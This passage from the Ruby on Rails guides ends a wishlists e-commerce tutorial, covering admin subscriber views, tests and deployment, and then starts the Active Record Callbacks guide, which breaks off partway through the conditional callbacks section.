While we're here, we should also add the ability to view and filter subscribers in the admin too. This is helpful to know how many people are waiting for a product to go back in stock.

### [6.1. Subscriber Views](#subscriber-views)

First, we'll add the subscribers route to the `store` namespace:

```
  # Admins Only
  namespace :store do
    resources :products
    resources :users
    resources :wishlists
    resources :subscribers

    root to: redirect("/store/products")
  end
```

Then, let's create the controller at `app/controllers/store/subscribers_controller.rb`:

```
class Store::SubscribersController < Store::BaseController
  before_action :set_subscriber, except: [ :index ]

  def index
    @subscribers = Subscriber.includes(:product).filter_by(params)
  end

  def show
  end

  def destroy
    @subscriber.destroy
    redirect_to store_subscribers_path, notice: "Subscriber has been removed.", status: :see_other
  end

  private
    def set_subscriber
      @subscriber = Subscriber.find(params[:id])
    end
end
```

We've only implemented `index`, `show`, and `destroy` actions here. Subscribers will only be created when a user enters their email address. If someone contacts support asking to unsubscribe them, we want to be able to remove them easily.

Since this is the admin area, we will want to add filters to subscribers too.

In `app/models/subscriber.rb`, let's add the `filter_by` class method:

```
class Subscriber < ApplicationRecord
  belongs_to :product
  generates_token_for :unsubscribe

  def self.filter_by(params)
    results = all
    results = results.where(product_id: params[:product_id]) if params[:product_id].present?
    results
  end
end
```

Let's create the index view next at `app/views/store/subscribers/index.html.erb`:

```
<h1><%= pluralize @subscribers.count, "Subscriber" %></h1>

<%= form_with url: store_subscribers_path, method: :get do |form| %>
  <%= form.collection_select :product_id, Product.all, :id, :name, selected: params[:product_id], include_blank: "All Products" %>
  <%= form.submit "Filter" %>
<% end %>

<%= render @subscribers %>
```

Then create `app/views/store/subscribers/_subscriber.html.erb` for displaying each subscriber:

```
<div>
  <%= link_to subscriber.email, store_subscriber_path(subscriber) %> subscribed to <%= link_to subscriber.product.name, store_product_path(subscriber.product) %> on <%= l subscriber.created_at, format: :long %>
</div>
```

Next, create `app/views/store/subscribers/show.html.erb` to view an individual subscriber:

```
<h1><%= @subscriber.email %></h1>
<p>Subscribed to <%= link_to @subscriber.product.name, store_product_path(@subscriber.product) %> on <%= l @subscriber.created_at, format: :long %></p>

<%= button_to "Remove", store_subscriber_path(@subscriber), method: :delete, data: { turbo_confirm: "Are you sure?" } %>
```

Finally, add the link to the sidebar layout:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Email", settings_email_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>

      <% if Current.user.admin? %>
        <h4>Store Settings</h4>
        <%= link_to "Products", store_products_path %>
        <%= link_to "Users", store_users_path %>
        <%= link_to "Subscribers", store_subscribers_path %>
        <%= link_to "Wishlists", store_wishlists_path %>
      <% end %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

Now you can view, filter, and remove subscribers in the store's admin area. Try it out!

## [7. Adding Links To Products](#adding-links-to-products)

Now that we've added filters, we can add links to the Product show page for viewing wishlists and subscribers for a specific product.

Open `app/views/store/products/show.html.erb` and add the links:

```
<p><%= link_to "Back", store_products_path %></p>

<section class="product">
  <%= image_tag @product.featured_image if @product.featured_image.attached? %>

  <section class="product-info">
    <% cache @product do %>
      <h1><%= @product.name %></h1>
      <%= @product.description %>
    <% end %>

    <%= link_to "View in Storefront", @product %>
    <%= link_to "Edit", edit_store_product_path(@product) %>
    <%= button_to "Delete", [ :store, @product ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
  </section>
</section>

<section>
  <%= link_to pluralize(@product.wishlists_count, "wishlist"), store_wishlists_path(product_id: @product) %>
  <%= link_to pluralize(@product.subscribers.count, "subscriber"), store_subscribers_path(product_id: @product) %>
</section>
```

## [8. Testing Wishlists](#testing-wishlists)

Let's write some tests for the functionality we just built.

### [8.1. Adding Fixtures](#adding-fixtures)

First, we need to update the fixtures in `test/fixtures/wishlist_products.yml` so they refer to the product fixtures we have defined:

```
one:
  product: tshirt
  wishlist: one

two:
  product: tshirt
  wishlist: two
```

Let's also add another `Product` fixture in `test/fixtures/products.yml` to test with:

```
tshirt:
  name: T-Shirt
  inventory_count: 15

shoes:
  name: shoes
  inventory_count: 0
```

### [8.2. Testing `filter_by`](#testing-filter-by)

The `Wishlist` model's `filter_by` method is important to ensure it's filtering records correctly.

Open `test/models/wishlist_test.rb` and add this test to start:

```
require "test_helper"

class WishlistTest < ActiveSupport::TestCase
  test "filter_by with no filters" do
    assert_equal Wishlist.all, Wishlist.filter_by({})
  end
end
```

This test ensures that `filter_by` returns all records when no filters are applied.

Then run the test:

```
$ bin/rails test test/models/wishlist_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 64578

# Running:

.

Finished in 0.290295s, 3.4448 runs/s, 3.4448 assertions/s.
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
```

Great! Next, we need to test the `user_id` filter. Let's add another test:

```
require "test_helper"

class WishlistTest < ActiveSupport::TestCase
  test "filter_by with no filters" do
    assert_equal Wishlist.all, Wishlist.filter_by({})
  end

  test "filter_by with user_id" do
    wishlists = Wishlist.filter_by(user_id: users(:one).id)
    assert_includes wishlists, wishlists(:one)
    assert_not_includes wishlists, wishlists(:two)
  end
end
```

This test runs the query and asserts the wishlist for the user is returned but not wishlists for another user.

Let's run the test file again:

```
$ bin/rails test test/models/wishlist_test.rb
Running 2 tests in a single process (parallelization threshold is 50)
Run options: --seed 48224

# Running:

..

Finished in 0.292714s, 6.8326 runs/s, 17.0815 assertions/s.
2 runs, 5 assertions, 0 failures, 0 errors, 0 skips
```

Perfect! Both tests are passing.

Finally, let's add a test for wishlists with a specific product.

For this test, we need to add a unique product to one of our wishlists so it can be filtered.

Open `test/fixtures/wishlist_products.yml` and add the following:

```
one:
  product: tshirt
  wishlist: one

two:
  product: tshirt
  wishlist: two

three:
  product: shoes
  wishlist: two
```

Then add the following test to `test/models/wishlist_test.rb`:

```
require "test_helper"

class WishlistTest < ActiveSupport::TestCase
  test "filter_by with no filters" do
    assert_equal Wishlist.all, Wishlist.filter_by({})
  end

  test "filter_by with user_id" do
    wishlists = Wishlist.filter_by(user_id: users(:one).id)
    assert_includes wishlists, wishlists(:one)
    assert_not_includes wishlists, wishlists(:two)
  end

  test "filter_by with product_id" do
    wishlists = Wishlist.filter_by(product_id: products(:shoes).id)
    assert_includes wishlists, wishlists(:two)
    assert_not_includes wishlists, wishlists(:one)
  end
end
```

This test filters by a specific product and ensures the correct wishlist is returned and wishlists without that product are not.

Let's run this test file again to ensure they are all passing:

```
bin/rails test test/models/wishlist_test.rb
Running 3 tests in a single process (parallelization threshold is 50)
Run options: --seed 27430

# Running:

...

Finished in 0.320054s, 9.3734 runs/s, 28.1203 assertions/s.
3 runs, 9 assertions, 0 failures, 0 errors, 0 skips
```

### [8.3. Testing Wishlist CRUD](#testing-wishlist-crud)

Let's walk through writing some integration tests for wishlists.

Create `test/integration/wishlists_test.rb` and add a test for creating a wishlist.

```
require "test_helper"

class WishlistsTest < ActionDispatch::IntegrationTest
  test "create a wishlist" do
    user = users(:one)
    sign_in_as user
    assert_difference "user.wishlists.count" do
      post wishlists_path, params: { wishlist: { name: "Example" } }
      assert_response :redirect
    end
  end
end
```

This test logs in as a user and makes a POST request to create a wishlist. It checks the user's wishlists count before and after to ensure a new record was created. It also confirms the user is redirected instead of re-rendering the form with errors.

Let's run this test and make sure it passes.

```
$ bin/rails test test/integration/wishlists_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 40232

# Running:

.

Finished in 0.603018s, 1.6583 runs/s, 4.9750 assertions/s.
1 runs, 3 assertions, 0 failures, 0 errors, 0 skips
```

Next, let's add a test for deleting a wishlist.

```
test "delete a wishlist" do
  user = users(:one)
  sign_in_as user
  assert_difference "user.wishlists.count", -1 do
    delete wishlist_path(user.wishlists.first)
    assert_redirected_to wishlists_path
  end
end
```

This test is similar to creating wishlists, but it asserts that there is one less wishlist after making the DELETE request.

Next, we should test viewing wishlists, starting with a user viewing their own wishlist.

```
test "view a wishlist" do
  user = users(:one)
  wishlist = user.wishlists.first
  sign_in_as user
  get wishlist_path(wishlist)
  assert_response :success
  assert_select "h1", text: wishlist.name
end
```

A user should also be able to view other user's wishlists, so let's test that:

```
test "view a wishlist as another user" do
  wishlist = wishlists(:two)
  sign_in_as users(:one)
  get wishlist_path(wishlist)
  assert_response :success
  assert_select "h1", text: wishlist.name
end
```

And guests should be able to view wishlists too:

```
test "view a wishlist as a guest" do
  wishlist = wishlists(:one)
  get wishlist_path(wishlist)
  assert_response :success
  assert_select "h1", text: wishlist.name
end
```

Let's run these tests and make sure they all pass:

```
$ bin/rails test test/integration/wishlists_test.rb
Running 5 tests in a single process (parallelization threshold is 50)
Run options: --seed 43675

# Running:

.....

Finished in 0.645956s, 7.7405 runs/s, 13.9328 assertions/s.
5 runs, 9 assertions, 0 failures, 0 errors, 0 skips
```

Excellent!

### [8.4. Testing Wishlist Products](#testing-wishlist-products)

Next, let's test products in wishlists. The best place to start is probably adding a product to a wishlist.

Add the following test to `test/integration/wishlists_test.rb`:

```
test "add product to a specific wishlist" do
  sign_in_as users(:one)
  wishlist = wishlists(:one)
  assert_difference "WishlistProduct.count" do
    post product_wishlist_path(products(:shoes)), params: { wishlist_id: wishlist.id }
    assert_redirected_to wishlist
  end
end
```

This test asserts that a new `WishlistProduct` record is created when we send a POST request that simulates submitting the "Add to wishlist" form with a selected wishlist.

Next, let's test the case where a user has no wishlists.

```
test "add product when no wishlists" do
  user = users(:one)
  sign_in_as user
  user.wishlists.destroy_all
  assert_difference "Wishlist.count" do
    assert_difference "WishlistProduct.count" do
      post product_wishlist_path(products(:shoes))
    end
  end
end
```

In this test, we delete all the user's wishlists to remove any wishlists that may be present from fixtures. In addition to asserting a new `WishlistProduct` was created, we also make sure a new `Wishlist` was created this time.

We should also test that we can't add products to another user's wishlist. Add the following test.

```
test "cannot add product to another user's wishlist" do
  sign_in_as users(:one)
  assert_no_difference "WishlistProduct.count" do
    post product_wishlist_path(products(:shoes)), params: { wishlist_id: wishlists(:two).id }
    assert_response :not_found
  end
end
```

In this case, we sign in as one user and `POST` with the ID of a wishlist from another user. To ensure this is working correctly, we assert that no new `WishlistProduct` records were created and we also make sure the response was a 404 Not Found.

Now, let's test moving products between wishlists.

```
test "move product to another wishlist" do
  user = users(:one)
  sign_in_as user
  wishlist = user.wishlists.first
  wishlist_product = wishlist.wishlist_products.first
  second_wishlist = user.wishlists.create!(name: "Second Wishlist")
  patch wishlist_wishlist_product_path(wishlist, wishlist_product), params: { new_wishlist_id: second_wishlist.id }
  assert_equal second_wishlist, wishlist_product.reload.wishlist
end
```

This test has a bit more setup than the others. It creates a second wishlist to move the product to. Since this action updates the `wishlist_id` column of the `WishlistProduct` record, we save it to a variable and assert that it changes after the request completes.

We have to call `wishlist_product.reload` since the copy of the record in memory is unaware of changes that happened during the request. This reloads the record from the database so we can see the new values.

Next, let's test moving a product to a wishlist that already contains the product. In this case, we should get an error message and the `WishlistProduct` should have no changes.

```
  test "cannot move product to a wishlist that already contains product" do
    user = users(:one)
    sign_in_as user
    wishlist = user.wishlists.first
    wishlist_product = wishlist.wishlist_products.first
    second_wishlist = user.wishlists.create!(name: "Second")
    second_wishlist.wishlist_products.create(product_id: wishlist_product.product_id)
    patch wishlist_wishlist_product_path(wishlist, wishlist_product), params: { new_wishlist_id: second_wishlist.id }
    assert_equal "T-Shirt is already on Second.", flash[:alert]
    assert_equal wishlist, wishlist_product.reload.wishlist
  end
```

This test uses an assertion against `flash[:alert]` to check for the error message. It also reloads `wishlist_product` to assert that the wishlist has not changed.

Finally, we should add a test to ensure a user cannot move a product to another user's wishlist.

```
  test "cannot move product to another user's wishlist" do
    user = users(:one)
    sign_in_as user
    wishlist = user.wishlists.first
    wishlist_product = wishlist.wishlist_products.first
    patch wishlist_wishlist_product_path(wishlist, wishlist_product), params: { new_wishlist_id: wishlists(:two).id }
    assert_response :not_found
    assert_equal wishlist, wishlist_product.reload.wishlist
  end
```

In this case, we assert that the response was a 404 Not Found which shows that we safely scoped the `new_wishlist_id` to the current user.

It also asserts that the wishlist did not change, just like the previous test.

Alright, let's run this full set of tests to double check they all pass.

```
$ bin/rails test test/integration/wishlists_test.rb
Running 11 tests in a single process (parallelization threshold is 50)
Run options: --seed 65170

# Running:

...........

Finished in 1.084135s, 10.1463 runs/s, 23.0599 assertions/s.
11 runs, 25 assertions, 0 failures, 0 errors, 0 skips
```

Fantastic! Our tests are all passing.

## [9. Deploying To Production](#deploying-to-production)

Since we previously setup Kamal in the [Getting Started Guide](getting_started.html), we just need to push our code changes to our Git repository and run:

```
$ bin/kamal deploy
```

## [10. What's Next](#what-s-next)

Your e-commerce store now has Wishlists and an improved admin area with filtering of Wishlists and Subscribers.

Next, follow the [Product Reviews tutorial](product_reviews.html) to continue learning.

[Return to all tutorials](https://rubyonrails.org/docs/tutorials)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_callbacks.html
----

***

## [1. The Object Life Cycle](#the-object-life-cycle)

During the normal operation of a Rails application, objects may be [created, updated, and destroyed](active_record_basics.html#crud-reading-and-writing-data). Active Record provides hooks into this object life cycle so that you can control your application and its data.

Callbacks allow you to trigger logic before or after a change to an object's state. They are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is initialized, created, saved, updated, deleted, validated, or loaded from the database.

```
class BirthdayCake < ApplicationRecord
  after_create -> { Rails.logger.info("Congratulations, the callback has run!") }
end
```

```
irb> BirthdayCake.create
Congratulations, the callback has run!
```

As you will see, there are many life cycle events and multiple options to hook into these — either before, after, or even around them.

## [2. Callback Registration](#callback-registration)

To use the available callbacks, you need to implement and register them. Implementation can be done in a multitude of ways like using ordinary methods, blocks and procs, or defining custom callback objects using classes or modules. Let's go through each of these implementation techniques.

You can register the callbacks with a **macro-style class method that calls an ordinary method** for implementation.

```
class User < ApplicationRecord
  validates :username, :email, presence: true

  before_validation :ensure_username_has_value

  private
    def ensure_username_has_value
      if username.blank?
        self.username = email
      end
    end
end
```

The **macro-style class methods can also receive a block**. Consider using this style if the code inside your block is so short that it fits in a single line:

```
class User < ApplicationRecord
  validates :username, :email, presence: true

  before_validation do
    self.username = email if username.blank?
  end
end
```

Alternatively, you can **pass a proc to the callback** to be triggered.

```
class User < ApplicationRecord
  validates :username, :email, presence: true

  before_validation ->(user) { user.username = user.email if user.username.blank? }
end
```

Lastly, you can define [**a custom callback object**](#callback-objects), as shown below. We will cover these later in more detail.

```
class User < ApplicationRecord
  validates :username, :email, presence: true

  before_validation AddUsername
end

class AddUsername
  def self.before_validation(record)
    if record.username.blank?
      record.username = record.email
    end
  end
end
```

### [2.1. Registering Callbacks to Fire on Life Cycle Events](#registering-callbacks-to-fire-on-life-cycle-events)

Callbacks can also be registered to only fire on certain life cycle events, this can be done using the `:on` option and allows complete control over when and in what context your callbacks are triggered.

A context is like a category or a scenario in which you want certain validations to apply. When you validate an ActiveRecord model, you can specify a context to group validations. This allows you to have different sets of validations that apply in different situations. In Rails, there are certain default contexts for validations like :create, :update, and :save.

```
class User < ApplicationRecord
  validates :username, :email, presence: true

  before_validation :ensure_username_has_value, on: :create

  # :on takes an array as well
  after_validation :set_location, on: [ :create, :update ]

  private
    def ensure_username_has_value
      if username.blank?
        self.username = email
      end
    end

    def set_location
      self.location = LocationService.query(self)
    end
end
```

It is considered good practice to declare callback methods as private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.

Refrain from using methods like `update`, `save`, or any other methods that cause side effects on the object within your callback methods.\
\
For instance, avoid calling `update(attribute: "value")` inside a callback. This practice can modify the model's state and potentially lead to unforeseen side effects during commit.\
\
Instead, you can assign values directly (e.g., `self.attribute = "value"`) in `before_create`, `before_update`, or earlier callbacks for a safer approach.

## [3. Available Callbacks](#available-callbacks)

Here is a list with all the available Active Record callbacks, listed **in the order in which they will get called** during the respective operations:

### [3.1. Creating an Object](#creating-an-object)

* [`before_validation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-before_validation)
* [`after_validation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation)
* [`before_save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save)
* [`around_save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save)
* [`before_create`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_create)
* [`around_create`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_create)
* [`after_create`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_create)
* [`after_save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save)
* [`after_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit) / [`after_rollback`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback)

See the [`after_commit` / `after_rollback` section](active_record_callbacks.html#after-commit-and-after-rollback) for examples using these two callbacks.

There are examples below that show how to use these callbacks. We've grouped them by the operation they are associated with, and lastly show how they can be used in combination.

#### [3.1.1. Validation Callbacks](#validation-callbacks)

Validation callbacks are triggered whenever the record is validated directly via the [`valid?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-valid-3F) ( or its alias [`validate`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-validate)) or [`invalid?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-invalid-3F) method, or indirectly via `create`, `update`, or `save`. They are called before and after the validation phase.

```
class User < ApplicationRecord
  validates :name, presence: true
  before_validation :titleize_name
  after_validation :log_errors

  private
    def titleize_name
      self.name = name.downcase.titleize if name.present?
      Rails.logger.info("Name titleized to #{name}")
    end

    def log_errors
      if errors.any?
        Rails.logger.error("Validation failed: #{errors.full_messages.join(', ')}")
      end
    end
end
```

```
irb> user = User.new(name: "", email: "john.doe@example.com", password: "abc123456")
=> #<User id: nil, email: "john.doe@example.com", created_at: nil, updated_at: nil, name: "">

irb> user.valid?
Name titleized to
Validation failed: Name can't be blank
=> false
```

#### [3.1.2. Save Callbacks](#save-callbacks)

Save callbacks are triggered whenever the record is persisted (i.e. "saved") to the underlying database, via the `create`, `update`, or `save` methods. They are called before, after, and around the object is saved.

```
class User < ApplicationRecord
  before_save :hash_password
  around_save :log_saving
  after_save :update_cache

  private
    def hash_password
      self.password_digest = BCrypt::Password.create(password)
      Rails.logger.info("Password hashed for user with email: #{email}")
    end

    def log_saving
      Rails.logger.info("Saving user with email: #{email}")
      yield
      Rails.logger.info("User saved with email: #{email}")
    end

    def update_cache
      Rails.cache.write(["user_data", self], attributes)
      Rails.logger.info("Update Cache")
    end
end
```

```
irb> user = User.create(name: "Jane Doe", password: "password", email: "jane.doe@example.com")

Password hashed for user with email: jane.doe@example.com
Saving user with email: jane.doe@example.com
User saved with email: jane.doe@example.com
Update Cache
=> #<User id: 1, email: "jane.doe@example.com", created_at: "2024-03-20 16:02:43.685500000 +0000", updated_at: "2024-03-20 16:02:43.685500000 +0000", name: "Jane Doe">
```

#### [3.1.3. Create Callbacks](#create-callbacks)

Create callbacks are triggered whenever the record is persisted (i.e. "saved") to the underlying database **for the first time** — in other words, when we're saving a new record, via the `create` or `save` methods. They are called before, after and around the object is created.

```
class User < ApplicationRecord
  before_create :set_default_role
  around_create :log_creation
  after_create :send_welcome_email

  private
    def set_default_role
      self.role = "user"
      Rails.logger.info("User role set to default: user")
    end

    def log_creation
      Rails.logger.info("Creating user with email: #{email}")
      yield
      Rails.logger.info("User created with email: #{email}")
    end

    def send_welcome_email
      UserMailer.welcome_email(self).deliver_later
      Rails.logger.info("User welcome email sent to: #{email}")
    end
end
```

```
irb> user = User.create(name: "John Doe", email: "john.doe@example.com")

User role set to default: user
Creating user with email: john.doe@example.com
User created with email: john.doe@example.com
User welcome email sent to: john.doe@example.com
=> #<User id: 10, email: "john.doe@example.com", created_at: "2024-03-20 16:19:52.405195000 +0000", updated_at: "2024-03-20 16:19:52.405195000 +0000", name: "John Doe">
```

### [3.2. Updating an Object](#updating-an-object)

Update callbacks are triggered whenever an **existing** record is persisted (i.e. "saved") to the underlying database. They are called before, after and around the object is updated.

* [`before_validation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-before_validation)
* [`after_validation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation)
* [`before_save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save)
* [`around_save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save)
* [`before_update`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_update)
* [`around_update`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_update)
* [`after_update`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_update)
* [`after_save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save)
* [`after_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit) / [`after_rollback`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback)

The `after_save` callback is triggered on both create and update operations. However, it consistently executes after the more specific callbacks `after_create` and `after_update`, regardless of the sequence in which the macro calls were made. Similarly, before and around save callbacks follow the same rule: `before_save` runs before create/update, and `around_save` runs around create/update operations. It's important to note that save callbacks will always run before/around/after the more specific create/update callbacks.

We've already covered [validation](#validation-callbacks) and [save](#save-callbacks) callbacks. See the [`after_commit` / `after_rollback` section](#after-commit-and-after-rollback) for examples using these two callbacks.

#### [3.2.1. Update Callbacks](#update-callbacks)

```
class User < ApplicationRecord
  before_update :check_role_change
  around_update :log_updating
  after_update :send_update_email

  private
    def check_role_change
      if role_changed?
        Rails.logger.info("User role changed to #{role}")
      end
    end

    def log_updating
      Rails.logger.info("Updating user with email: #{email}")
      yield
      Rails.logger.info("User updated with email: #{email}")
    end

    def send_update_email
      UserMailer.update_email(self).deliver_later
      Rails.logger.info("Update email sent to: #{email}")
    end
end
```

```
irb> user = User.find(1)
=> #<User id: 1, email: "john.doe@example.com", created_at: "2024-03-20 16:19:52.405195000 +0000", updated_at: "2024-03-20 16:19:52.405195000 +0000", name: "John Doe", role: "user" >

irb> user.update(role: "admin")
User role changed to admin
Updating user with email: john.doe@example.com
User updated with email: john.doe@example.com
Update email sent to: john.doe@example.com
```

#### [3.2.2. Using a Combination of Callbacks](#using-a-combination-of-callbacks)

Often, you will need to use a combination of callbacks to achieve the desired behavior. For example, you may want to send a confirmation email after a user is created, but only if the user is new and not being updated. When a user is updated, you may want to notify an admin if critical information is changed. In this case, you can use `after_create` and `after_update` callbacks together.

```
class User < ApplicationRecord
  after_create :send_confirmation_email
  after_update :notify_admin_if_critical_info_updated

  private
    def send_confirmation_email
      UserMailer.confirmation_email(self).deliver_later
      Rails.logger.info("Confirmation email sent to: #{email}")
    end

    def notify_admin_if_critical_info_updated
      if saved_change_to_email? || saved_change_to_phone_number?
        AdminMailer.user_critical_info_updated(self).deliver_later
        Rails.logger.info("Notification sent to admin about critical info update for: #{email}")
      end
    end
end
```

```
irb> user = User.create(name: "John Doe", email: "john.doe@example.com")
Confirmation email sent to: john.doe@example.com
=> #<User id: 1, email: "john.doe@example.com", ...>

irb> user.update(email: "john.doe.new@example.com")
Notification sent to admin about critical info update for: john.doe.new@example.com
=> true
```

### [3.3. Destroying an Object](#destroying-an-object)

Destroy callbacks are triggered whenever a record is destroyed, but ignored when a record is deleted. They are called before, after and around the object is destroyed.

* [`before_destroy`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_destroy)
* [`around_destroy`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_destroy)
* [`after_destroy`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_destroy)
* [`after_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit) / [`after_rollback`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback)

Find [examples for using `after_commit` / `after_rollback`](#after-commit-and-after-rollback).

#### [3.3.1. Destroy Callbacks](#destroy-callbacks)

```
class User < ApplicationRecord
  before_destroy :check_admin_count
  around_destroy :log_destroy_operation
  after_destroy :notify_users

  private
    def check_admin_count
      if admin? && User.where(role: "admin").count == 1
        throw :abort
      end
      Rails.logger.info("Checked the admin count")
    end

    def log_destroy_operation
      Rails.logger.info("About to destroy user with ID #{id}")
      yield
      Rails.logger.info("User with ID #{id} destroyed successfully")
    end

    def notify_users
      UserMailer.deletion_email(self).deliver_later
      Rails.logger.info("Notification sent to other users about user deletion")
    end
end
```

```
irb> user = User.find(1)
=> #<User id: 1, email: "john.doe@example.com", created_at: "2024-03-20 16:19:52.405195000 +0000", updated_at: "2024-03-20 16:19:52.405195000 +0000", name: "John Doe", role: "admin">

irb> user.destroy
Checked the admin count
About to destroy user with ID 1
User with ID 1 destroyed successfully
Notification sent to other users about user deletion
```

### [3.4. `after_initialize` and `after_find`](#after-initialize-and-after-find)

Whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database, the [`after_initialize`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_initialize) callback will be called. It can be useful to avoid the need to directly override your Active Record `initialize` method.

When loading a record from the database the [`after_find`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_find) callback will be called. `after_find` is called before `after_initialize` if both are defined.

The `after_initialize` and `after_find` callbacks have no `before_*` counterparts.

They can be registered just like the other Active Record callbacks.

```
class User < ApplicationRecord
  after_initialize do |user|
    Rails.logger.info("You have initialized an object!")
  end

  after_find do |user|
    Rails.logger.info("You have found an object!")
  end
end
```

```
irb> User.new
You have initialized an object!
=> #<User id: nil>

irb> User.first
You have found an object!
You have initialized an object!
=> #<User id: 1>
```

### [3.5. `after_touch`](#after-touch)

The [`after_touch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_touch) callback will be called whenever an Active Record object is touched. You can [read more about `touch` in the API docs](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-touch).

```
class User < ApplicationRecord
  after_touch do |user|
    Rails.logger.info("You have touched an object")
  end
end
```

```
irb> user = User.create(name: "Kuldeep")
=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">

irb> user.touch
You have touched an object
=> true
```

It can be used along with `belongs_to`:

```
class Book < ApplicationRecord
  belongs_to :library, touch: true
  after_touch do
    Rails.logger.info("A Book was touched")
  end
end

class Library < ApplicationRecord
  has_many :books
  after_touch :log_when_books_or_library_touched

  private
    def log_when_books_or_library_touched
      Rails.logger.info("Book/Library was touched")
    end
end
```

```
irb> book = Book.last
=> #<Book id: 1, library_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">

irb> book.touch # triggers book.library.touch
A Book was touched
Book/Library was touched
=> true
```

## [4. Running Callbacks](#running-callbacks)

The following methods trigger callbacks:

* `create`
* `create!`
* `destroy`
* `destroy!`
* `destroy_all`
* `destroy_by`
* `save`
* `save!`
* `save(validate: false)`
* `save!(validate: false)`
* `toggle!`
* `touch`
* `update_attribute`
* `update_attribute!`
* `update`
* `update!`
* `valid?`
* `validate`

Additionally, the `after_find` callback is triggered by the following finder methods:

* `all`
* `first`
* `find`
* `find_by`
* `find_by!`
* `find_by_*`
* `find_by_*!`
* `find_by_sql`
* `last`
* `sole`
* `take`

The `after_initialize` callback is triggered every time a new object of the class is initialized.

The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them in the [Dynamic finders section](active_record_querying.html#dynamic-finder-methods).

## [5. Conditional Callbacks](#conditional-callbacks)

As with [validations](active_record_validations.html), we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a `Proc` or an `Array`.

You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.

### [5.1. Using `:if` and `:unless` with a `Symbol`](#using-if-and-unless-with-a-symbol)

You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback.

When using the `:if` option, the callback **won't** be executed if the predicate method returns **false**; when using the `:unless` option, the callback **won't** be executed if the predicate method returns **true**. This is the most common option.

```
class Order < ApplicationRecord
  before_save :normalize_card_number, if: :paid_with_card?
end
```

Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. We will cover this in the [Multiple Callback Conditions section](#multiple-callback-conditions).

### [5.2. Using `:if` and `:unless` with a `Proc`](#using-if-and-unless-with-a-proc)

